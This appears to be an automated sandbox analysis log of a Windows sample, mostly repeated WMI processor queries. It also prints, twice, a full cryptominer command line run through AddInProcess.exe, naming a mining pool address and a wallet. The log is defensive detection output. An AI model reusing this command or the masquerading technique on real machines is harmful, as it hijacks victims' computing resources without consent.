Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\2ngxhElaud.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2ngxhElaud.exe

Virustotal: Detection: 23%

Source: AddInProcess.exe	String found in binary or memory: id-cmc-addExtensions
Source: AddInProcess.exe	String found in binary or memory: set-addPolicy

Source: unknown	Process created: C:\Users\user\Desktop\2ngxhElaud.exe "C:\Users\user\Desktop\2ngxhElaud.exe"
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50	Jump to behavior

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: winhttp.dll	Jump to behavior
